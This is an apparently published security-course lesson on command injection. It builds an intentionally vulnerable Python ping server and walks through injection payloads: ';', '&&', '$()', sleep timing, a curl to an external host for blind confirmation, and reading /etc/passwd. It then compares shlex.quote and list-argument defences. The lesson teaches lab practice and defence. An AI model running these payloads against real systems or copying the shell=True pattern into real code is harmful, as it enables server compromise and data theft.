What would you like to learn?

Try PowerShell, networks, XSS, or Step 138

Browse the full curriculum →

Web security

Step 143. Command Injection — The Moment a Search Box Becomes the Server’s Terminal

Step 143Estimated practice · 3 hours

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 3 hours

Prerequisites: Step 103’s command injection principle (the sh -c experiment), Step 142’s web shell, and Linux shell basics.

  • What you need: Linux (WSL or Kali), Python 3 (standard library only), curl, DVWA lab
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

Step 142’s web shell was a command executor the attacker plants. But sometimes there’s no need to plant one — if an ordinary server feature already "appends input to a command and executes it," that feature itself is a web shell. A diagnostic page that "runs ping for you when you enter an IP" is the classic example. Today you’ll build such a vulnerable server yourself, succeed at injection with a single line 127.0.0.1; whoami, and measure everything: the personalities of the four connector characters, blind verification, and the two textbook defenses.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Find command injection’s two conditions (input concatenation + shell execution) in code
  • Explain and use the differences among the four connectors ;, &&, |, $()
  • Verify a blind situation with no visible output using sleep timing
  • Apply the mindset for bypassing filters (banned characters)
  • Demonstrate by experiment the difference between the two defenses — shlex.quote (escapeshellarg equivalent) and list arguments

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Linux (WSL/Kali) shell, Python 3 standard library (http.server), curl
Today’s commands ; && | $() (shell connectors), shlex.quote(), subprocess.run([...])
Concepts needed Command injection, shell metacharacters, blind injection, the two layers of defense
Today’s artifact An injection measurement record ("my input / final command" pairs) + a defense comparison note

2-1. Review and Starting Point — The Conditions for Data’s Promotion to Command

Remember the two conditions confirmed in Step 103. ① Input is concatenated as-is into a command string, and ② the server executes that string through a shell. In Python, this one line satisfies both conditions at once.

subprocess.run(f"ping -c 2 {host}", shell=True)   # danger signal: f-string concatenation + shell=True

shell=True hands the string whole to the shell (/bin/sh -c) — the same structure as PHP’s system(). The moment a shell gets involved, ;, |, && inside the input are no longer "characters in data" but shell syntax.

2-2. The Personalities of the Four Connectors

Character Meaning Traits
; End the first command, run the next Regardless of the first’s success — the safest first try
&& Run the next only if the first succeeds If the first command fails, the second never runs
| Feed the first’s output as the second’s input The second command runs unconditionally
$(command) Run the command first, substitute its result Works even inside quotes — strong for filter bypass

2-3. Blind Injection — When Output Doesn’t Show

Some servers don’t display command results on screen. The command still executes. Two ways to confirm:

  • Time: inject ; sleep 5 — if the response arrives 5 seconds late, it executed
  • External signal: make it send a request to your server (; curl http://myaddress/marker), or write the result to a file and read it through another path

2-4. The Two Layers of Defense — Sanitizing and Shell Removal

Defense goes in two directions. ① Sanitizing (escaping): turn input into "data that is literally characters" — PHP’s escapeshellarg(), Python’s shlex.quote(). The whole input gets wrapped in quotes and metacharacters are neutralized. ② Shell removal: pass arguments as a list like subprocess.run(["ping", "-c", "2", host]) — with no shell involved, ; is just a character. When possible, ② is the textbook answer; ① is the fallback for when a shell is truly needed.


3. Follow Along

Everything today is locally measured. (This text was measured 2026-09-09 on WSL Ubuntu 24.04 + Python 3.12.)

3-1. The Vulnerable ping Server — A Diagnostic Tool That Runs It for You

A shape common in real admin tools. Built with the standard library only (vuln_ping.py).

Input

from http.server import BaseHTTPRequestHandler, HTTPServer
import subprocess, urllib.parse, shlex

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        u = urllib.parse.urlparse(self.path)
        host = urllib.parse.parse_qs(u.query).get("host", [""])[0]
        if u.path == "/ping":
            # Vulnerable: concatenate input as-is into the command string and run via shell
            out = subprocess.run(f"ping -c 2 {host}", shell=True,
                                 capture_output=True, text=True)
        elif u.path == "/ping_quote":
            # Defense 1: shlex.quote — equivalent to PHP escapeshellarg
            out = subprocess.run(f"ping -c 2 {shlex.quote(host)}", shell=True,
                                 capture_output=True, text=True)
        elif u.path == "/ping_list":
            # Defense 2: list arguments that bypass the shell
            out = subprocess.run(["ping", "-c", "2", host],
                                 capture_output=True, text=True)
        else:
            self.send_response(404); self.end_headers(); return
        body = (out.stdout + out.stderr).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain; charset=utf-8")
        self.end_headers(); self.wfile.write(body)

HTTPServer(("127.0.0.1", 8350), H).serve_forever()

How to read it: the same input splits into three doors. /ping is the vulnerable original, /ping_quote is the sanitizing defense, /ping_list is the shell-removal defense. One server lets you compare the attack and both defenses side by side. Start the server with python3 /tmp/vuln_ping.py, and be sure to kill it when done.

3-2. Confirming Normal Behavior — Setting the Baseline

Input

curl -s "http://127.0.0.1:8350/ping?host=127.0.0.1"

Output (measured 2026-09-09):

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.047 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.077 ms

How to read it: the final command is ping -c 2 127.0.0.1 — as intended. Always look at the normal output before attacking. Injection success is judged by the difference from this baseline.

3-3. First Injection — Chaining a Command with ;

Input

curl -s "http://127.0.0.1:8350/ping?host=127.0.0.1;%20whoami"

(%20 is the URL encoding of a space. The actual input is 127.0.0.1; whoami.)

Output (measured 2026-09-09):

2 packets transmitted, 2 received, 0% packet loss, time 1018ms
rtt min/avg/max/mdev = 0.027/0.039/0.052/0.012 ms
root

How to read it: the final command became ping -c 2 127.0.0.1; whoami. The shell ended the first command at ;, executed the second whoami, and the result root came back appended after the ping statistics. And root — commands execute as the server process’s account (this experiment server was started as root). The law from Steps 120 and 142, confirmed a third time.

Why do this: in your write-up, don’t write only the input — write this pair: my input: 127.0.0.1; whoami / final command: ping -c 2 127.0.0.1; whoami. The habit you built in Step 103.

3-4. Connector Experiments — && and $()

Input (&& is encoded as %26%26 in the URL)

curl -s "http://127.0.0.1:8350/ping?host=127.0.0.1%20%26%26%20id"

Output (measured 2026-09-09):

rtt min/avg/max/mdev = 0.029/0.042/0.055/0.013 ms
uid=0(root) gid=0(root) groups=0(root)

How to read it: ping succeeded, so the id after && executed. If the first command were an input that fails (e.g., a nonexistent host), the second wouldn’t run — using && carries the condition "the first command will succeed."

Input (command substitution)

curl -s "http://127.0.0.1:8350/ping?host=%24(id)"

Output (measured 2026-09-09):

ping: groups=0(root): Name or service not known

How to read it: $(id) executed first, its result uid=0(root) gid=0(root) groups=0(root) was substituted into the host position, and ping failed while interpreting those words as hostnames. The very fact that groups=0(root) appears in the error message is proof the substitution happened. Even if ; and && are blocked by a filter, $( ) is separate syntax that must be blocked separately — read the filter list and the next attempt reveals itself.

3-5. Blind Verification — Time Doesn’t Lie

Assume a server that shows no output, and verify with sleep.

Input

curl -s -o /dev/null -w "Response time: %{time_total}sn" 
  "http://127.0.0.1:8350/ping?host=127.0.0.1;%20sleep%203"
curl -s -o /dev/null -w "Normal request: %{time_total}sn" 
  "http://127.0.0.1:8350/ping?host=127.0.0.1"

Output (measured 2026-09-09):

Response time: 4.013195s
Normal request: 1.023992s

How to read it: the normal request takes about 1 second (2 pings), but with sleep 3 injected it’s about 4 seconds — exactly 3 seconds more. Even with nothing visible on screen, the command executed is proven by time. This is blind injection’s verification method. In the field, from here you’d write results somewhere readable via the web, like ; result > /var/www/html/out.txt, or ship the results out via an external request.

3-6. Measuring the Defenses — Same Input, Different Endings

Send the same injection input to the two defense endpoints.

Input

curl -s "http://127.0.0.1:8350/ping_quote?host=127.0.0.1;%20whoami"
curl -s "http://127.0.0.1:8350/ping_list?host=127.0.0.1;%20whoami"

Output (measured 2026-09-09, identical for both endpoints):

ping: 127.0.0.1; whoami: Name or service not known

How to read it: both treated 127.0.0.1; whoami in its entirety as one hostname and ended in "no such host." /ping_quote wrapped the whole input in quotes ('127.0.0.1; whoami'), turning shell syntax into characters; /ping_list never passes through a shell at all, so there’s no party to interpret ;. On the attack surface the result is the same, but the inner workings differ — and the side without a shell is fundamentally safer.

3-7. Applying It in DVWA — Wargame Progression Order

In the lab, proceed in this order (screens and results are output examples):

  1. Enter 127.0.0.1; id in DVWA Command Injection (Low). If uid=33(www-data)... appears after the ping results, you’ve succeeded.
  2. Swap the connectors: 127.0.0.1 && id, 127.0.0.1 | id, $(id). Record each one’s output differences.
  3. Raise to Medium. Confirm that ; is blocked, and try && and | in place of the blocked character — the game of guessing the filter list and erasing one entry at a time (a repeat of Steps 103 and 139).
  4. File reading: output a server file with 127.0.0.1 | cat /etc/passwd.
  5. Feeling the blind case: when you meet a form with no output, apply 3-5’s sleep measurement.

4. Missions & Exercises

Mission — An Injection Measurement Record and Defense Comparison

  1. Build the 3-1 server and secure the 3-2 baseline output
  2. Attach the measured outputs of the three inputs ;, &&, $( ) to your write-up, along with the "my input / final command" pairs
  3. Reproduce the 3-5 sleep timing measurement and record the two numbers (normal/injected)
  4. Send the same input to 3-6’s two defenses, compare the results, and write one line each on "how the inner workings differ"
  5. Clear DVWA (or a lab) Command Injection at Low and Medium, and organize the inputs you used

Exercises

Exercise 1. Point out the vulnerability’s two conditions separately in the single line subprocess.run(f"ping -c 2 {host}", shell=True).

Exercise 2. Explain the difference between ; and &&, and state the additional condition needed when using &&.

Exercise 3. In 3-4, why can the $(id) input be considered a "successful injection" even though its output was an error?

Exercise 4. Between the shlex.quote() defense and the list-argument defense, which is more fundamental — and explain why in terms of "who interprets the ;."


Answers & completion criteria · expand/collapse

5. Model Answers & Completion Criteria

Mission Model Answer

Measurement record example (2026-09-09, on WSL Ubuntu):

[Injection 1] my input: 127.0.0.1; whoami
              final command: ping -c 2 127.0.0.1; whoami  -> root at the end of output
[Injection 2] my input: 127.0.0.1 && id    -> uid=0(root) gid=0(root) groups=0(root)
[Injection 3] my input: $(id)              -> ping: groups=0(root): Name or service not known
[Blind] sleep 3 injection: 4.01s / normal: 1.02s -> 3-second increase = proof of execution
[Defense] quote/list both: ping: 127.0.0.1; whoami: Name or service not known

Defense comparison note example:

- shlex.quote: the shell is still involved, but input is wrapped in quotes so metacharacters become 'characters'
- list arguments: no shell at all — no party exists to interpret ; (fundamental defense)

How to verify: ① are all three injections’ outputs attached? ② does the difference between sleep’s two numbers roughly match the injected seconds? ③ does the defense comparison explain "inner workings" rather than "the output is the same"?

Exercise Answers

Answer 1. Condition ① as-is concatenation of input — the f-string part f"ping -c 2 {host}". Condition ② shell execution — shell=True. Remove either one (concatenate after validation, or execute as a list without a shell) and injection cannot hold.

Answer 2. ; runs the next command regardless of the first’s success, while && runs the next only if the first succeeds. So using && adds the condition "an input where the first command succeeds" — enter a host that will fail, and the second command never runs.

Answer 3. Because the error message contains groups=0(root) — that is, the execution result of id. It’s proof that $( ) ran first and its output was substituted as ping’s argument, so putting something like $(cat /etc/passwd) in the substitution slot would leak that result into the error message or somewhere in the response. A failed ping, a successful injection.

Answer 4. The list-argument defense is more fundamental. shlex.quote still has the shell interpreting the command, merely wrapping the input in quotes — leaving room to be attacked through exceptions in quote handling. List arguments (subprocess.run(["ping", "-c", "2", host])) bypass the shell entirely, so no party exists to interpret ; — not sanitizing, but removal.

Completion Criteria Checklist

  • [ ] I can find the vulnerable one-liner (f-string concatenation + shell=True) in code
  • [ ] I succeeded at my first injection with ; and wrote the "my input / final command" pair
  • [ ] I can explain and experimented with the differences among &&, |, $()
  • [ ] I verified blind injection with a sleep timing measurement
  • [ ] I confirmed in output that "authority gained = the server process account"
  • [ ] I can explain the difference between shlex.quote and list arguments
  • [ ] I re-confirmed that this practice is for my own lab only

6. Common Pitfalls & Fixes

Wall 1. I entered an injection character and got a 400 or an empty response

Symptom: entering & breaks the request.
Cause: in a URL, & means "the next parameter begins" — the & in host=127.0.0.1 && id cuts the parameter off.
Fix: URL-encode — & is %26, space is %20, | is %7C. That’s how 3-4’s actual inputs look. curl’s --data-urlencode option does this job for you.

Wall 2. The command after && doesn’t execute

Symptom: you entered 127.0.0.1 && id but there’s no id output.
Cause: the first command (ping) failed, or its exit code wasn’t 0. && chains only on success.
Fix: first confirm it’s an input where the first command definitely succeeds, or switch to ;, which chains unconditionally.

Wall 3. Output appears but my command’s result isn’t visible

Symptom: only the ping results show.
Cause: the server may show only the front portion of output, or your command’s output may have gone to stderr.
Fix: append 2>&1 after the command to redirect errors to standard output (Step 142), and if the server truncates output, use the bypass of writing results to a file and reading it via another path.

Wall 4. The filter blocks ;

Symptom: entering ; gets the input rejected or stripped.
Cause: a banned-character filter (blacklist).
Fix: try outside the list — &&, |, $( ), backticks (`), even a newline (%0a) can separate commands. As in 3-4, $(id) executes without any ;. Same game as Step 103’s Natas 10 and Step 139’s filter bypass.

Wall 5. I left the practice server running and forgot

Symptom: later, a new server won’t start because port 8350 is "already in use."

OSError: [Errno 98] Address already in use

Cause: the vulnerable server you started earlier is still alive.
Fix: kill it with pkill -f vuln_ping.py. Leaving a vulnerable server running while you step away is like leaving an unlocked practice room open — cleanup is basic, even in a lab.


7. Summary

Today’s Concepts

Concept One-line explanation
Command injection When input concatenation meets shell execution, data is promoted to command
; Run the next command unconditionally — the first-try connector
&& Run the next only when the first succeeds
$() Command substitution — works inside quotes, strong for filter bypass
Blind injection Executes with no output — proven by sleep timing
shlex.quote Sanitizing that wraps input in quotes — escapeshellarg equivalent
List arguments Shell removal — the fundamental defense that eliminates any party to interpret ;

Today’s Commands & Code

Command/code What it does
127.0.0.1; whoami Chain a command with ;
127.0.0.1 && id Success-conditional chaining
$(id) Command-substitution injection
; sleep 5 Time delay for blind verification
curl -w "%{time_total}" Measuring response time
shlex.quote(input) Python’s shell-argument sanitizing
subprocess.run(["ping", "-c", "2", host]) Safe execution without a shell

An Instinct More Important Than Commands

Today’s key sentence is "the moment a shell gets involved, data becomes syntax." Every time you see shell=True, system(), exec() in server code, your eyes should go to it — and if user input is glued in front, it’s an injection candidate. That conditional reflex is the whole of command injection skill.

And defense is simple — when possible, eliminate the shell (list arguments); when unavoidable, sanitize (quote); and use "enumerating characters to block" only as the last resort. Step 103’s grep, today’s ping, and the countless "features that run things for you" in the field all share the same heart. Every time you see a feature where the server executes something on your behalf, recall today’s question — where does my input flow?


Once every box is checked, Step 143 is complete.

ONE STEP FURTHER

Finished this lesson?

Check the completion criteria, then mark your progress.

Something wrong with this page or a link? Let us know.
Next